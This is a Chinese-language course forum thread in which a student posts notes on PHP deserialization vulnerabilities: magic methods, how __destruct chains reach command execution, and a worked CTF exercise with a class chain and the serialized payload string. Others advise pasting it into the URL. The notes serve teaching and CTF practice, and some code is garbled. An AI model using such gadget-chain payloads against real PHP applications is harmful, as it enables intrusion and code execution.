首頁
社區(qū)
課程
招聘
操作不完整

問題描述

,沒講反序列在頁面中怎么操作

問題出現(xiàn)的環(huán)境背景及自己嘗試過哪些方法

相關(guān)代碼

粘貼代碼文本(請(qǐng)勿用截圖)

相關(guān)調(diào)試信息

附圖或描述

你期待的結(jié)果是什么?實(shí)際看到的錯(cuò)誤信息又是什么?

收藏
7條回答
Editor 2023-9-15

這節(jié)還是有些難的,講師將思路全部講了,實(shí)操得自己去摸索一下,這樣才能理解的更深刻。也希望其他人,將研究心得發(fā)在筆記里分享出來。

回復(fù)
Spider_008 2023-9-20

筆記如下:

PHP反序列化漏洞分析與實(shí)操講解

簡介

● 序列化(serialize()):將PHP對(duì)象壓縮并按照一定格式轉(zhuǎn)換成宇符串過程
● 反序列化(unserialize()):從宇符串轉(zhuǎn)換回PHP對(duì)象的過程
● 目的:為了方便PHP對(duì)象的傳輸和存儲(chǔ)

聯(lián)想到電腦(diy)的栗子

案例1

 

● PS:主要用于對(duì)象的持久化(將對(duì)象保存到磁盤上以便以后讀取)或在不同系統(tǒng)之間傳輸對(duì)象。

序列化實(shí)例



反序列化攻擊概述

  • unserialize接收的參數(shù)用戶可控,傳入構(gòu)造的字符串,實(shí)現(xiàn)攻擊
    • 只序列化屬性、不序列化方法
      • 屬性名屬性值、訪問控制權(quán)限都存在,但是方法消失
  • 要尋找合適的能被我們控制的屬性,利用本身存在的方法

魔術(shù)方法

● 以 開頭
● (1)construct():當(dāng)對(duì)象創(chuàng)建時(shí)會(huì)自動(dòng)調(diào)用(但在unserialize()時(shí)是不會(huì)自動(dòng)調(diào)用的)。
● (2)wakeup()unserialize()時(shí)會(huì)自動(dòng)調(diào)用. 當(dāng)對(duì)象所包含的屬性數(shù)<->不一致
● (3)destruct():當(dāng)對(duì)象被銷毀時(shí)會(huì)自動(dòng)調(diào)用。
● (4)toString(): 當(dāng)反序列化后的對(duì)象被輸出在模板中的時(shí)候(轉(zhuǎn)換成字符串的時(shí)候)自動(dòng)調(diào)用
__construct()

 

__destruct()

 

__sleep()

 

__wakeup()

 

__toString()

 

__invoke()

 

__call()

 

反序列化 中常用的魔術(shù)方法

 

wakeup() //使用 unserialize 時(shí)觸發(fā) sleep() //使用 serialize 時(shí)觸發(fā)
destruct() //對(duì)象被銷毀時(shí)觸發(fā) call() //在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
callstatic () //在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā) construct()//當(dāng)對(duì)象被創(chuàng)建(new)時(shí)會(huì)自動(dòng)調(diào)用
get() //用于從不可訪問的屬性讀取數(shù)據(jù) set () //用于將數(shù)據(jù)寫入不可訪問的屬性
isset () //在不可訪問的屬性上調(diào)用 isset ()或 empty() 時(shí)觸發(fā) unset () //在不可訪問的屬性上使用 unset () 時(shí)觸發(fā)
tostring() //把類當(dāng)作字符串使用時(shí)觸發(fā) invoke () //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

 

反序列化攻擊樣例

 

Aurora 對(duì)象的$test 變量為一個(gè)Evil 對(duì)象
Evil對(duì)象中的$test2變量為我們想要執(zhí)行的系統(tǒng)命令
Aurora對(duì)象銷毀時(shí),調(diào)用destruct魔法函數(shù),進(jìn)而調(diào)用Evilaction函數(shù),進(jìn)而執(zhí)行$test2中我們想要執(zhí)行的系統(tǒng)命令
● 生成Payload

Review



實(shí)戰(zhàn)分析

● 靶機(jī)環(huán)境 CTF30小時(shí)訓(xùn)練營 實(shí)踐題目
根據(jù)Review提示構(gòu)造payload
● step
○ 1.查看代碼邏輯;
○ 2.根據(jù)代碼邏輯構(gòu)造payload;

 

class allstart
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func1();
}
public function
destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
//step3: func2->
call()->在對(duì)象上下?中調(diào)?不可訪問的?法時(shí)觸發(fā)
public $var1;
public $var2;
public function construct()
{
$this->var1 = new func3();
}
public function
call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
//step3:func3->invoke()->concat string
public $var1;
public $var2;
public function
construct()
{
$this->var1 = new func4();
}
// 嘗試將對(duì)象調(diào)?為函數(shù)時(shí)觸發(fā)
public function invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
// step2:func4->
tostring()->get_flag()
public $str1;
public $str2;
public function construct()
{
$this->str1 = new toget();
}
public function
toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
// step1: get_flag()
public function get_flag()
{

1
2
        ##echo "flag{***}";
}

}
$a=new allstart();
echo serialize($a);

 

O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}

總結(jié)

對(duì)WebPHP反序列化漏洞分析能力得到提高。

回復(fù)
mb_njatsyxb: 謝謝同學(xué)這么細(xì)致的筆記,理解了,那獲得了序列化后,怎么獲取flag呢?
回復(fù) 2023-9-21
mb_yfadvhyw: 為什么相同的php代碼得到的序列化不一樣呢
回復(fù) 2024-5-22
Spider_008 2023-9-20

mark

回復(fù)
mb_xqobfuba 2024-2-22

大家序列化之后貼到地址欄那里就行了

回復(fù)
mb_yazpxvld 2024-3-4

mark

回復(fù)
gaoweb 2024-7-4

mark

回復(fù)
黑客KQ. 2024-8-2

Mark

回復(fù)
《30小時(shí)教你玩轉(zhuǎn)CTF》
  參與學(xué)習(xí)     666 人
  提問次數(shù)     65 個(gè)
《30小時(shí)教你玩轉(zhuǎn)CTF》;頂尖講師團(tuán)隊(duì)親授,教你深入淺出學(xué)攻防;每周一、周四更新
0
我的提問
0
我的回答
0
學(xué)習(xí)收益